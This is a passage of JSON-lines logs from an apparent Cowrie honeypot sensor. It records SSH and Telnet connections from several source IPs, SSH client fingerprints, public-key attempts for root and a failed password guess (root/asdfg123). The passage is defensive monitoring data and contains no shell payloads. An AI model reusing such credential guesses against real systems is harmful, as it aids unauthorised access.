rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:22.670342Z","src_ip":"103.82.132.16","session":"bf8525e17789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg123","message":"login attempt [root/asdfg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:23.452914Z","src_ip":"103.82.132.16","session":"bf8525e17789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60460,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c530f89589","protocol":"telnet","message":"New connection: 152.42.224.71:60460 (10.17.0.5:23) [session: e9c530f89589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:23.669835Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:24.716648Z","src_ip":"103.82.132.16","session":"bf8525e17789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39134,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d197d4a70c1","protocol":"telnet","message":"New connection: 152.42.224.71:39134 (10.17.0.5:23) [session: 9d197d4a70c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:39.071533Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be5fb5593e2","protocol":"telnet","message":"New connection: 152.42.224.71:39136 (10.17.0.5:23) [session: 6be5fb5593e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:43.683843Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6fb02c2558a","protocol":"telnet","message":"New connection: 152.42.224.71:42816 (10.17.0.5:23) [session: e6fb02c2558a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:47.943228Z"}
{"eventid":"cowrie.session.closed","duration":30.425156354904175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:54.094873Z","src_ip":"152.42.224.71","session":"e9c530f89589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.596933364868164,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:56.208493Z","src_ip":"152.42.224.71","session":"6a96dccffee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"211b54e78692","protocol":"telnet","message":"New connection: 152.42.224.71:33448 (10.17.0.5:23) [session: 211b54e78692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:39:57.968358Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33460,"dst_ip":"10.17.0.5","dst_port":23,"session":"bafb9b6aba6d","protocol":"telnet","message":"New connection: 152.42.224.71:33460 (10.17.0.5:23) [session: bafb9b6aba6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:00.888816Z"}
{"eventid":"cowrie.session.closed","duration":5.551877498626709,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:03.520023Z","src_ip":"152.42.224.71","session":"211b54e78692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.29600524902344,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:05.276543Z","src_ip":"152.42.224.71","session":"d0abc0abf5b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.72704458236694,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:09.669090Z","src_ip":"152.42.224.71","session":"e2512c42f887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.253703355789185,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:11.325125Z","src_ip":"152.42.224.71","session":"9d197d4a70c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7e72b255f2","protocol":"telnet","message":"New connection: 152.42.224.71:33856 (10.17.0.5:23) [session: ed7e72b255f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:12.179723Z"}
{"eventid":"cowrie.session.closed","duration":31.106349229812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:14.790066Z","src_ip":"152.42.224.71","session":"6be5fb5593e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48696,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38024018110","protocol":"telnet","message":"New connection: 152.42.224.71:48696 (10.17.0.5:23) [session: c38024018110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:17.926112Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48704,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b93cb275998","protocol":"telnet","message":"New connection: 152.42.224.71:48704 (10.17.0.5:23) [session: 5b93cb275998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:20.759712Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f9b6e07134e","protocol":"telnet","message":"New connection: 152.42.224.71:48712 (10.17.0.5:23) [session: 9f9b6e07134e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:21.784919Z"}
{"eventid":"cowrie.session.closed","duration":11.367991209030151,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:29.293997Z","src_ip":"152.42.224.71","session":"c38024018110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"01759a616db7","protocol":"telnet","message":"New connection: 152.42.224.71:60652 (10.17.0.5:23) [session: 01759a616db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:29.395251Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":55908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff1602e2254c","protocol":"ssh","message":"New connection: 89.37.117.103:55908 (10.17.0.5:22) [session: ff1602e2254c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:29.571978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:29.576246Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:29.702921Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:b8:39:be:ec:a2:71:23:fc:7b:35:14:92:9a:f3:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDraepQ92qfHO5cx5YI3/GcuPsIIaVsu9ypt6w1N8StsORcCln2/R/Jvv4B4SV6/yVGG2JUQuxkw6ptu0BnnX3nnhFat9/EkxsjJlfDFR9WeSGMCHTt3BcBvJ342fYQSsA+2Ni0iPAyAZ+v7zVjLE8kppi5NTf1HH0F09MQ5P80OJhVOswT2kkq46RLIVeDaIvs/nKRmUXWABqxUEMd3WJgrBGwleGPEKIOPCvUrMHBGllAaMB/oQiRuISbOnN/wjdYrMs5tUB6/UoKx7wKhVJ7zslgcLcrY3hD1DMvFP96Rq9WjfMt65SsJ7F+ZoufLask5QqW8bREFv7v5RtCnOtr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:b8:39:be:ec:a2:71:23:fc:7b:35:14:92:9a:f3:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.303582Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:b8:39:be:ec:a2:71:23:fc:7b:35:14:92:9a:f3:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDraepQ92qfHO5cx5YI3/GcuPsIIaVsu9ypt6w1N8StsORcCln2/R/Jvv4B4SV6/yVGG2JUQuxkw6ptu0BnnX3nnhFat9/EkxsjJlfDFR9WeSGMCHTt3BcBvJ342fYQSsA+2Ni0iPAyAZ+v7zVjLE8kppi5NTf1HH0F09MQ5P80OJhVOswT2kkq46RLIVeDaIvs/nKRmUXWABqxUEMd3WJgrBGwleGPEKIOPCvUrMHBGllAaMB/oQiRuISbOnN/wjdYrMs5tUB6/UoKx7wKhVJ7zslgcLcrY3hD1DMvFP96Rq9WjfMt65SsJ7F+ZoufLask5QqW8bREFv7v5RtCnOtr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.307770Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:d1:b1:8e:da:69:be:14:d4:73:6d:3e:e7:45:6c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB88bqG3huvxJuc/DLmARWyR2b+tjMj7aEoNKM2xgnef3HIriuACU1S2z3H9Qw8aO+flYjg4vBI/iCxSH3kwFE5AZ536UhJDaGJyvBlBmOLCDzgUwhRvg7BEhPWwPa6cgSfHYsfYNO3u1LiZoMyPlQgbbNbW4CgbLJlVfFZKXzpn+kqtnIr9AamubvjG3QVBgjDB9t15P/hZzdmTFbqYr7d0ubjMZHlqYPlDMg4nQvKFsCyK3eLXltXF231bt99p1IOX5WHI0sazXctl/Fwuxy2+nX/VhwE6nNxvbX9luz8cMawGFtawc3JICFCintB1lgzSRDXomjZTnDX7ZyxUDH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:d1:b1:8e:da:69:be:14:d4:73:6d:3e:e7:45:6c:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.433207Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:d1:b1:8e:da:69:be:14:d4:73:6d:3e:e7:45:6c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB88bqG3huvxJuc/DLmARWyR2b+tjMj7aEoNKM2xgnef3HIriuACU1S2z3H9Qw8aO+flYjg4vBI/iCxSH3kwFE5AZ536UhJDaGJyvBlBmOLCDzgUwhRvg7BEhPWwPa6cgSfHYsfYNO3u1LiZoMyPlQgbbNbW4CgbLJlVfFZKXzpn+kqtnIr9AamubvjG3QVBgjDB9t15P/hZzdmTFbqYr7d0ubjMZHlqYPlDMg4nQvKFsCyK3eLXltXF231bt99p1IOX5WHI0sazXctl/Fwuxy2+nX/VhwE6nNxvbX9luz8cMawGFtawc3JICFCintB1lgzSRDXomjZTnDX7ZyxUDH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.438427Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:5a:d2:d3:77:32:c6:25:c2:01:4d:70:f6:20:20:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiGqO7WUCOGEykhdwJ+rGTdaCSlRn+p2mS9WT/TCuJ5gVjwCic79RIaDbUI5/VDzj9xEhnq1n1iMpd9wujn0VTIy9n4db/AG96buLbOg3QeqUJ7str2dKLBOBt6wMieTMYaDLTCV/1jn/7cXvxUCx9i8zzhfqUR4EGNsBFWzdZ5oSxXJJpwQLa8+IeXYqk5FyEG9l2BXtS+gNJVmd0VSjcDM4PiVut2uUo1aXmK9cW932ucel7EQePIx68i94E976GnsBpAX9JmgmgvxC59yKm7G2tagN9Z5WqdrNJB3OZoqbnEOkATbnxYWQe+04KUhfgE25lIh9uFKRPrtwIzOoV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:5a:d2:d3:77:32:c6:25:c2:01:4d:70:f6:20:20:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.566854Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:5a:d2:d3:77:32:c6:25:c2:01:4d:70:f6:20:20:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiGqO7WUCOGEykhdwJ+rGTdaCSlRn+p2mS9WT/TCuJ5gVjwCic79RIaDbUI5/VDzj9xEhnq1n1iMpd9wujn0VTIy9n4db/AG96buLbOg3QeqUJ7str2dKLBOBt6wMieTMYaDLTCV/1jn/7cXvxUCx9i8zzhfqUR4EGNsBFWzdZ5oSxXJJpwQLa8+IeXYqk5FyEG9l2BXtS+gNJVmd0VSjcDM4PiVut2uUo1aXmK9cW932ucel7EQePIx68i94E976GnsBpAX9JmgmgvxC59yKm7G2tagN9Z5WqdrNJB3OZoqbnEOkATbnxYWQe+04KUhfgE25lIh9uFKRPrtwIzOoV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.570640Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:ac:f6:f8:b8:f0:6d:13:9f:65:99:d4:ef:a7:aa:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+mEsbxZWOiT8/cJcSQeWz+n4ptGUpjZeAcuHbYSyf4oxXl5YqwOqEeiYYZR7xo+xITZ+LcGecxK4sgSVbCYtRjqFkywjOeH4orjbkfl8dQhAd6BpQDWezIArpOqP59piFEAE3A3zbneeAwcIHxFFyX5I4Gy7damVOUSmvAwBOZC+dm5seVSfDaC7qEcHWy+v9sOYsVag6oAkaxuP0FYc2bCGKmDs0jFFtt9se49LUDDvObuhsQ0gvT1BkjWrLajiZEuAtwtoP/SJBKHQs2E/SZHfOz/hiT+WrmP25oCBN/0AXgID3uaaSJpfSyq/qtg7mo4qobyUp/rK7AgD6dry/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:ac:f6:f8:b8:f0:6d:13:9f:65:99:d4:ef:a7:aa:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.694969Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:ac:f6:f8:b8:f0:6d:13:9f:65:99:d4:ef:a7:aa:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+mEsbxZWOiT8/cJcSQeWz+n4ptGUpjZeAcuHbYSyf4oxXl5YqwOqEeiYYZR7xo+xITZ+LcGecxK4sgSVbCYtRjqFkywjOeH4orjbkfl8dQhAd6BpQDWezIArpOqP59piFEAE3A3zbneeAwcIHxFFyX5I4Gy7damVOUSmvAwBOZC+dm5seVSfDaC7qEcHWy+v9sOYsVag6oAkaxuP0FYc2bCGKmDs0jFFtt9se49LUDDvObuhsQ0gvT1BkjWrLajiZEuAtwtoP/SJBKHQs2E/SZHfOz/hiT+WrmP25oCBN/0AXgID3uaaSJpfSyq/qtg7mo4qobyUp/rK7AgD6dry/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.699843Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:b7:6c:b4:a0:3d:c4:08:54:21:f1:68:00:81:ab:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfSMGkoDzFock4uUD0ESQP7IQ03BUxNKDkNxvy38ngpy80Z42Z9X8TtGmSXz0t/psrxoomTX5wrJ0AvDUQ27LpOHIA7gOrqxTrpzt9a2VYLJkHoY7SOpgdSFY3tB4w6VGMefJlBE8BmZgFWS85ruT9xSLMDTw4QzLaDcqe1Xj/L3dUtc+ydNHHeKLz5byq8yTR23IVKSv1M5Z+t35ORU5zPa/rZtu48qewJGHSGdC5X1f1nmfLJnxl9jCzcJBHKGihjhH7A0T5OJNq+IFlmpT4FChrHSrsspvG+fKrvMrtwJ3e18zzdoMS3/GtKl87xj536LDl5ZoCgagrKJktDIW7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:b7:6c:b4:a0:3d:c4:08:54:21:f1:68:00:81:ab:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.825978Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:b7:6c:b4:a0:3d:c4:08:54:21:f1:68:00:81:ab:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfSMGkoDzFock4uUD0ESQP7IQ03BUxNKDkNxvy38ngpy80Z42Z9X8TtGmSXz0t/psrxoomTX5wrJ0AvDUQ27LpOHIA7gOrqxTrpzt9a2VYLJkHoY7SOpgdSFY3tB4w6VGMefJlBE8BmZgFWS85ruT9xSLMDTw4QzLaDcqe1Xj/L3dUtc+ydNHHeKLz5byq8yTR23IVKSv1M5Z+t35ORU5zPa/rZtu48qewJGHSGdC5X1f1nmfLJnxl9jCzcJBHKGihjhH7A0T5OJNq+IFlmpT4FChrHSrsspvG+fKrvMrtwJ3e18zzdoMS3/GtKl87xj536LDl5ZoCgagrKJktDIW7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.830319Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:30.957613Z","src_ip":"89.37.117.103","session":"ff1602e2254c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.34841251373291,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:36.291519Z","src_ip":"152.42.224.71","session":"e6fb02c2558a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34384,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7c8bf677dd","protocol":"telnet","message":"New connection: 152.42.224.71:34384 (10.17.0.5:23) [session: 9f7c8bf677dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:37.520816Z"}
{"eventid":"cowrie.session.closed","duration":115.50854539871216,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:48.804038Z","src_ip":"152.42.224.71","session":"43c4c873a2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.306294441223145,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:55.195016Z","src_ip":"152.42.224.71","session":"bafb9b6aba6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.179.163.47","src_port":10768,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f96d2599620","protocol":"telnet","message":"New connection: 45.179.163.47:10768 (159.203.135.109:23) [session: 6f96d2599620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:40:57.861148Z"}
{"eventid":"cowrie.session.closed","duration":25.39803695678711,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:02.918678Z","src_ip":"152.42.224.71","session":"9f7c8bf677dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55072,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6076124d5b","protocol":"telnet","message":"New connection: 152.42.224.71:55072 (10.17.0.5:23) [session: 4f6076124d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:04.032677Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55078,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e7fd4c7c47","protocol":"telnet","message":"New connection: 152.42.224.71:55078 (10.17.0.5:23) [session: 67e7fd4c7c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:05.814033Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48766,"dst_ip":"10.17.0.5","dst_port":23,"session":"570a77d1888e","protocol":"telnet","message":"New connection: 152.42.224.71:48766 (10.17.0.5:23) [session: 570a77d1888e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:06.994588Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48768,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c47913f662","protocol":"telnet","message":"New connection: 152.42.224.71:48768 (10.17.0.5:23) [session: 22c47913f662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:09.157538Z"}
{"eventid":"cowrie.session.closed","duration":51.705573320388794,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:12.465159Z","src_ip":"152.42.224.71","session":"5b93cb275998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48772,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a92fa906af","protocol":"telnet","message":"New connection: 152.42.224.71:48772 (10.17.0.5:23) [session: 06a92fa906af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:14.145119Z"}
{"eventid":"cowrie.session.closed","duration":48.313859939575195,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:17.708960Z","src_ip":"152.42.224.71","session":"01759a616db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37352,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d05beb3345","protocol":"telnet","message":"New connection: 152.42.224.71:37352 (10.17.0.5:23) [session: b2d05beb3345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:41:24.478805Z"}
